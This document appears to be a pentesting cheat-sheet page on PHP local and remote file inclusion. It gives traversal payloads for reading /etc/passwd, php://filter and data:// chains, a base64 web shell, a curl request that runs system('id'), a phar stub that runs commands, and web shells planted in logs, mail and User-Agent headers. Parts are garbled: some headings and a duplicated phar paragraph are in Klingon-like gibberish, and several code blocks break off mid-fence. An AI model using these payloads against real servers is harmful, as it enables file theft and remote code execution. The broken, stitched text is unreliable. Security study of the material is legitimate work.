## File Inclusion

**Remote File Inclusion (RFI):** The file is loaded from a remote server (Best: You can write the code and the server will execute it). In php this is **disabled** by default (**allow\_url\_include**).\
**Local File Inclusion (LFI):** The sever loads a local file.

The vulnerability occurs when the user can control in some way the file that is going to be load by the server.

Vulnerable **PHP functions**: require, require\_once, include, include\_once

A interesting tool to exploit this vulnerability: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)

## Blind - Interesting - LFI2RCE files
```python
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ
```
### **Linux**

**Mixing several \*nix LFI lists and adding more paths I have created this one:**

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt" %}

Try also to change `/` for `\`\
Try also to add `../../../../../`

A list that uses several techniques to find the file /etc/password (to check if the vulnerability exists) can be found [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)

### **Windows**

Merge of different wordlists:

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt" %}

Try also to change `/` for `\`\
Try also to remove `C:/` and add `../../../../../`

A list that uses several techniques to find the file /boot.ini (to check if the vulnerability exists) can be found [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)

### **OS X**

Check the LFI list of linux.

## Basic LFI and bypasses

All the examples are for Local File Inclusion but could be applied to Remote File Inclusion also (page=[http://myserver.com/phpshellcode.txt\\](http://myserver.com/phpshellcode.txt\)/).

#### Description

When performing file inclusion attacks, it is common to encounter input sanitization mechanisms that attempt to prevent directory traversal attacks by removing traversal sequences such as "../" or "..\". However, these sanitization mechanisms are often implemented in a non-recursive manner, which means that they only remove one occurrence of a traversal sequence at a time. This can be exploited by an attacker to bypass the sanitization and successfully perform a directory traversal attack.

#### Impact

By exploiting this vulnerability, an attacker can access sensitive files or directories outside of the intended directory structure. This can lead to unauthorized access to confidential information, remote code execution, or other security breaches depending on the specific context and permissions of the vulnerable application.

#### Recommendation

To mitigate this vulnerability, it is recommended to implement a recursive sanitization mechanism that removes all occurrences of traversal sequences in the input. Additionally, it is important to validate and sanitize user input effectively to prevent other types of attacks such as SQL injection or cross-site scripting (XSS). Regular expression-based input validation can be a useful technique to achieve this.

#### Example

Consider a web application that includes files based on user-supplied input without proper sanitization. The application removes "../" from the input to prevent directory traversal attacks. However, the sanitization is implemented non-recursively, allowing an attacker to bypass it by using multiple traversal sequences.

```
GET /page?file=../../../etc/passwd HTTP/1.1
Host: vulnerable-website.com
```

In this example, the attacker is able to access the sensitive file `/etc/passwd` by using multiple traversal sequences. If the sanitization mechanism were implemented recursively, it would remove all occurrences of traversal sequences and prevent this attack.
```python
http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
```

### qawHaq File System Directories on a Server

The file system of a server can be explored recursively to identify directories, not just files, by employing certain techniques. This process involves determining the directory depth and probing for the existence of specific folders. Below is a detailed method to achieve this:

1. **Determine Directory Depth:**
Ascertain the depth of your current directory by successfully fetching the `/etc/passwd` file (applicable if the server is Linux-based). An example URL might be structured as follows, indicating a depth of three:
```bash
http://example.com/index.php?page=../../../etc/passwd # depth of 3
```
2. **Probe for Folders:**
Append the name of the suspected folder (e.g., `private`) to the URL, then navigate back to `/etc/passwd`. The additional directory level requires incrementing the depth by one:

## Remote File Inclusion

In php this is disable by default because **`allow_url_include`** is **Off.** It must be **On** for it to work, and in that case you could include a PHP file from your server and get RCE:

## qarDaS Qochbe' File Inclusion

```
{% endcode %}

{% hint style="info" %}
In the previous code, the final `+.txt` was added because the attacker needed a string that ended in `.txt`, so the string ends with it and after the b64 decode that part will return just junk and the real PHP code will be included (and therefore, executed).
{% endhint %}

Another example **not using the `php://` protocol** would be:

{% code overflow="wrap" %}
```
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt

```python
os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'
```
It is the intended behaviour according to [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join):

> If a component is an absolute path, all previous components are thrown away and joining continues from the absolute path component.

## Java List Directories

It looks like if you have a Path Traversal in Java and you **ask for a directory** instead of a file, a **listing of the directory is returned**. This won't be happening in other languages (afaik).

## LFI / RFI using PHP wrappers & protocols

### php://filter

PHP filters allow perform basic **modification operations on the data** before being it's read or written. There are 5 categories of filters:

* [String Filters](https://www.php.net/manual/en/filters.string.php):
* `string.rot13`
* `string.toupper`
* `string.tolower`
* `string.strip_tags`: Remove tags from the data (everything between "<" and ">" chars)
* Note that this filter has disappear from the modern versions of PHP
* [Conversion Filters](https://www.php.net/manual/en/filters.convert.php)
* `convert.base64-encode`
* `convert.base64-decode`
* `convert.quoted-printable-encode`
* `convert.quoted-printable-decode`
* `convert.iconv.*` : Transforms to a different encoding(`convert.iconv.<input_enc>.<output_enc>`) . To get the **list of all the encodings** supported run in the console: `iconv -l`

{% hint style="warning" %}
Abusing the `convert.iconv.*` conversion filter you can **generate arbitrary text**, which could be useful to write arbitrary text or make a function like include process arbitrary text. For more info check [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
{% endhint %}

* [Compression Filters](https://www.php.net/manual/en/filters.compression.php)
* `zlib.deflate`: Compress the content (useful if exfiltrating a lot of info)
* `zlib.inflate`: Decompress the data
* [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php)
* `mcrypt.*` : Deprecated
* `mdecrypt.*` : Deprecated
* Other Filters
* Running in php `var_dump(stream_get_filters());` you can find a couple of **unexpected filters**:
* `consumed`
* `dechunk`: reverses HTTP chunked encoding
* `convert.*`
```php
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");

# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");

# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)

### data://

#### Description

The `data://` protocol allows you to include data directly into a web page or script. It is commonly used to embed images, audio files, or other types of data within HTML documents.

#### Vulnerability

When a web application uses user-supplied input to construct a file path without proper validation or sanitization, it can lead to a file inclusion vulnerability. An attacker can manipulate the input to include arbitrary files from the server's filesystem, including sensitive files containing passwords, configuration files, or even source code.

#### Exploitation

To exploit a file inclusion vulnerability using the `data://` protocol, an attacker can craft a malicious payload that includes the desired file. The payload can be injected into a vulnerable parameter, such as a URL query parameter or a file path.

For example, if the vulnerable application constructs a file path like this:

```
$file = $_GET['file'];
$path = "/var/www/html/files/" . $file;
```

An attacker can manipulate the `file` parameter to include arbitrary files:

```
http://example.com/page.php?file=data://text/plain;base64,SGVsbG8gV29ybGQhCg==
```

In this example, the attacker includes the contents of a text file encoded in base64. The `data://` protocol allows the attacker to specify the MIME type and encoding of the data being included.

#### Prevention

To prevent file inclusion vulnerabilities, it is important to validate and sanitize all user-supplied input used to construct file paths. Avoid using user input directly in file paths and instead use a whitelist approach to only allow specific files or directories to be included.

Additionally, consider implementing access controls to restrict the files that can be included and ensure that sensitive files are not accessible through the web server.

```bash
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"
```
### phar://

A `.phar` file can be utilized to execute PHP code when a web application leverages functions such as `include` for file loading. The PHP code snippet provided below demonstrates the creation of a `.phar` file:

### phar://

`.phar` file vItlhutlhlaHbe'chugh web application 'e' vItlhutlhlaHbe'chugh `include` vItlhutlhlaHbe'chugh file loading vaj 'e' vItlhutlhlaHbe'chugh PHP code 'e' vItlhutlhlaHbe'chugh. 'e' vItlhutlhlaHbe'chugh `.phar` file creation vaj 'e' vItlhutlhlaHbe'chugh PHP code snippet vItlhutlhlaHbe'chugh:
```php
<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();
```
To compile the `.phar` file, the following command should be executed:

```
phar jcvf <output_file>.phar <input_file>
```

This command will create a compressed `.phar` file from the specified `<input_file>`, and save it as `<output_file>.phar`.
```bash
php --define phar.readonly=0 create_path.php
```
Upon execution, a file named `test.phar` will be created, which could potentially be leveraged to exploit Local File Inclusion (LFI) vulnerabilities.

In cases where the LFI only performs file reading without executing the PHP code within, through functions such as `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, or `filesize()`, exploitation of a deserialization vulnerability could be attempted. This vulnerability is associated with the reading of files using the `phar` protocol.

For a detailed understanding of exploiting deserialization vulnerabilities in the context of `.phar` files, refer to the document linked below:

## LFI via PHP's 'assert'

Local File Inclusion (LFI) risks in PHP are notably high when dealing with the 'assert' function, which can execute code within strings. This is particularly problematic if input containing directory traversal characters like ".." is being checked but not properly sanitized.

For example, PHP code might be designed to prevent directory traversal like so:
```bash
assert("strpos('$file', '..') === false") or die("");
```

## PHP Blind Path Traversal

{% hint style="warning" %}
This technique is relevant in cases where you **control** the **file path** of a **PHP function** that will **access a file** but you won't see the content of the file (like a simple call to **`file()`**) but the content is not shown.
{% endhint %}

In [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) it's explained how a blind path traversal can be abused via PHP filter to **exfiltrate the content of a file via an error oracle**.

As sumary, the technique is using the **"UCS-4LE" encoding** to make the content of a file so **big** that the **PHP function opening** the file will trigger an **error**.

Then, in order to leak the first char the filter **`dechunk`** is used along with other such as **base64** or **rot13** and finally the filters **convert.iconv.UCS-4.UCS-4LE** and **convert.iconv.UTF16.UTF-16BE** are used to **place other chars at the beggining and leak them**.

**Functions that might be vulnerable**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`

For the technical details check the mentioned post!

## LFI2RCE

### Remote File Inclusion

Explained previously, [**follow this link**](./#remote-file-inclusion).

### Via Apache/Nginx log file

If the Apache or Nginx server is **vulnerable to LFI** inside the include function you could try to access to **`/var/log/apache2/access.log` or `/var/log/nginx/access.log`**, set inside the **user agent** or inside a **GET parameter** a php shell like **`<?php system($_GET['c']); ?>`** and include that file

{% hint style="warning" %}
Note that **if you use double quotes** for the shell instead of **simple quotes**, the double quotes will be modified for the string "_**quote;**_", **PHP will throw an error** there and **nothing else will be executed**.

Also, make sure you **write correctly the payload** or PHP will error every time it tries to load the log file and you won't have a second opportunity.
{% endhint %}

This could also be done in other logs but **be careful,** the code inside the logs could be URL encoded and this could destroy the Shell. The header **authorisation "basic"** contains "user:password" in Base64 and it is decoded inside the logs. The PHPShell could be inserted inside this header.\
Other possible log paths:
```python
/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log
```
Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI)

### Via Email

**Send a mail** to a internal account (user@localhost) containing your PHP payload like `<?php echo system($_REQUEST["cmd"]); ?>` and try to include to the mail of the user with a path like **`/var/mail/<USERNAME>`** or **`/var/spool/mail/<USERNAME>`**

### Via /proc/\*/fd/\*

1. Upload a lot of shells (for example : 100)
2. Include [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), with $PID = PID of the process (can be brute forced) and $FD the file descriptor (can be brute forced too)

### Via /proc/self/environ

Like a log file, send the payload in the User-Agent, it will be reflected inside the /proc/self/environ file
```
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
```

### LFI (Local File Inclusion)

#### Description

LFI (Local File Inclusion) is a vulnerability that allows an attacker to include files from the target system. This can be exploited to read sensitive files, execute arbitrary code, or even gain remote code execution.

#### PHP Session File Inclusion

One common use case of LFI is to include the PHP session file. PHP session files store user session data, including sensitive information such as authentication tokens and user preferences. By exploiting LFI, an attacker can gain access to these session files and potentially hijack user sessions.

To include the PHP session file, the attacker needs to know the path to the session file on the target system. This can often be found by analyzing the application's source code or by using directory traversal techniques.

Once the path to the session file is known, the attacker can craft a request to include the file using the LFI vulnerability. The file will then be parsed by the PHP interpreter, allowing the attacker to access the session data contained within.

#### Example

Assuming the PHP session file is located at `/var/www/sessions/sess_1234567890abcdef`, the attacker can include it using the following LFI payload:

```
http://example.com/vulnerable.php?page=/var/www/sessions/sess_1234567890abcdef
```

This will cause the vulnerable PHP script to include the session file, making its contents accessible to the attacker.

#### Mitigation

To prevent PHP session file inclusion vulnerabilities, it is recommended to:

- Avoid using user-supplied input directly in file inclusion functions.
- Implement proper input validation and sanitization.
- Use whitelisting to restrict the allowed file paths.
- Store session files in a secure location with restricted access permissions.

By following these best practices, you can significantly reduce the risk of LFI vulnerabilities and protect sensitive session data.
